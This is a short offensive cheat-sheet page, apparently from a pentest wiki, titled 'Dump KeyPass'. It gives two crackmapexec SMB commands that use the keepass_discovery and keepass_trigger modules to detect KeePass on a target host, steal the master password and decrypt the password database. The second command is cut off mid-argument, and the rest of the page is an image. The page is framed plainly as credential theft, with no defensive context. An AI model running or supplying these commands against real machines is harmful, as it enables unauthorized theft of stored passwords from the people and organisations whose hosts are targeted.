# Dump KeyPass

You can check if keepass is installed on the target computer and then steal the master password and decrypt the database !

```
$ crackmapexec smb <ip> -u user -p pass -M keepass_discovery
$ crackmapexec smb <ip> -u user -p pass -M keepass_trigger -o KEEPASS_CONFIG_PATH="path_from_module_discov
```

<figure><img src="https://3800235601-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fx4pJgNiBOMLG3QHRPFAy%2Fuploads%2F150YenSFV34ncFY76UI1%2Fimage.png?alt=media&#x26;token=f9eec6a7-72b1-41e2-8fc2-4b2811835101" alt=""><figcaption></figcaption></figure>
